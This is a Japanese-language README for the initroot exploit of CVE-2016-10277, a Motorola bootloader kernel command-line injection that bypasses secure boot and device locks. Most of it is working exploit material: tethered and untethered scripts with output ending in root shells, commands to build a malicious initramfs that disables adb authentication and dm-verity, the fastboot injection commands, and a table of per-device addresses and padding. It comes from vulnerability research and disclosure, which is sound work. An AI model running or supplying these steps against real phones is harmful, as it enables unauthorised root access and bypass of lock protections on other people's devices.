initroot: Motorola ブートローダーカーネルコマンドラインインジェクションによるセキュアブート & デバイスロックのバイパス (CVE-2016-10277)

Roee Hay / Aleph Research, HCL Technologies 著

第一段階のエクスプロイト: テザリング型ジェイルブレイク

このエクスプロイトは、デバイス上で一時的な無制限の root アクセスを獲得します。例えば、cedric の場合（読みやすさのため一部のメッセージは省略しています）：

$ cd ./tethered/cedric
$ ./initroot-tethered.sh
Welcome to initroot-cedric-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0xA2100000,1588596
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>
OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (34319 KB)...
OKAY [  1.098s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.101s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:shell:s0
$ adb shell
cedric:/ #

第二段階のエクスプロイト: 非テザリング型ジェイルブレイク

このエクスプロイトは、デバイス上で永続的な root アクセスを獲得します。例えば、athene の場合（読みやすさのため一部のメッセージは省略しています）：

$ cd ./untethered/athene
$ ./initroot-untethered.sh 
Welcome to initroot-athene-untethered
Welcome to initroot-athene-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0x92000000,2505052
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (35214 KB)...
OKAY [  1.131s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.138s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
padC-initroot: 1 file pushed. 11.1 MB/s (22937600 bytes in 1.963s)
44800+0 records in
44800+0 records out
22937600 bytes transferred in 3.017 secs (7602784 bytes/sec)
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a rdinit= root=/dev/mmcblk0p41
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
rebooting...

finished. total time: 0.815s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ #

独自の悪意のある initramfs アーカイブを作成する

コミット済みの initroot-<device>.cpio.gz を使用するか、独自に作成します：

$ cd <initramfs folder>
$ find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../initroot-<device>.cpio.gz
OR if padding is needed:
$ dd if=/dev/zero of=../pad ibs=1 count=<PAD_SIZE>
$ cp ../pad ../initroot-<device>.cpio.gz && find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../tmp && ls -la ../tmp && cat ../tmp >> ../initroot-<device>.cpio.gz  && rm -fr ../tmp
$ cd ..

コミット済みの initramfs イメージは、デフォルトで adb が root として実行されます。認証を要求しません。さらに、該当するパーティションでは dm-verity が無効化されています。

fastboot oem config fsg-id "a initrd=<SCRATCH_ADDR+PAD_SIZE>,<initroot.cpio.gz size-PAD_SIZE>"`
fastboot flash foo initroot-<device>.cpio.gz`
fastboot continue

私たちの initramfs を使用する場合、adb shell で root シェルが得られます：

$ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0

他の Moto デバイス向けの非テザリング型エクスプロイトを作成する

こちらのブログ記事をお読みください。

検証済みデバイス

コミュニティ報告

注記

この脆弱性は他の Motorola デバイスにも影響する可能性があります。異なる initramfs が必要になります。initrd の物理アドレス（SCRATCH_ADDR）も異なります。PADDING も異なる場合があります。

ビデオデモ

CVE-2016-10277 のビデオデモ

Nexus 6	`shamu`	`0x11000000`	`0x0`	AOSP `userdebug`	`mmcblk0p11`
Moto G5 (XT1676)	`cedric`	`0xA0100000`	`0x2000000`	リリース版。SELinux の無効化、シェルへの `set{u,g}id`、ケーパビリティのドロップ、adb 認証の無効化などを行うよう `init` と `adbd` をパッチ	`mmcblk0p41`
Moto G4 (XT1622)	`athene`	`0x90000000`	`0x2000000`	""	`mmcblk0p48`

Moto G5 Plus	`potter`	`0xA0100000`	drbeat	ブートプロパティを注入。[証明]
Moto G4 Play (XT1607)	`harpia`	`0x90000000`	m-mullins	Amazon XT1607 の完全なエクスプロイト。[証明]
Moto G4 Play (XT1609)	`harpia`	`0x90000000`	@utoprime	Verizon XT1609 の完全なエクスプロイト。[証明]
Moto G4 (XT1625)	`athene`	`0x90000000`	@EWorcel	ブートループを引き起こした initrd を注入。[証明]
Moto G3	`osprey`	`0x90000000`	@asiekierka	ブートループを引き起こした initrd を注入。[証明]
Moto G2 (XT1072)	`thea`	`0x11000000`	@TheElix	注入された initrd によりブートループが発生。[証明]
Moto G (XT1032)	`falcon_retfr`	`0x11000000`	Pierre Zurek	64MB のパディングによる完全なエクスプロイト。[証明]
Moto E (XT830C)	`condor_cdma`	`0x0E000000`	fetcher	Tracfone/Verizon にロックされた XT830C の 32MB パディングによる完全なエクスプロイト。[証明]
その他	-	-	@jcase	[証明]

initroot

人気

initroot: Motorola ブートローダー カーネルコマンドラインインジェクションによるセキュアブート & デバイスロックのバイパス (CVE-2016-10277)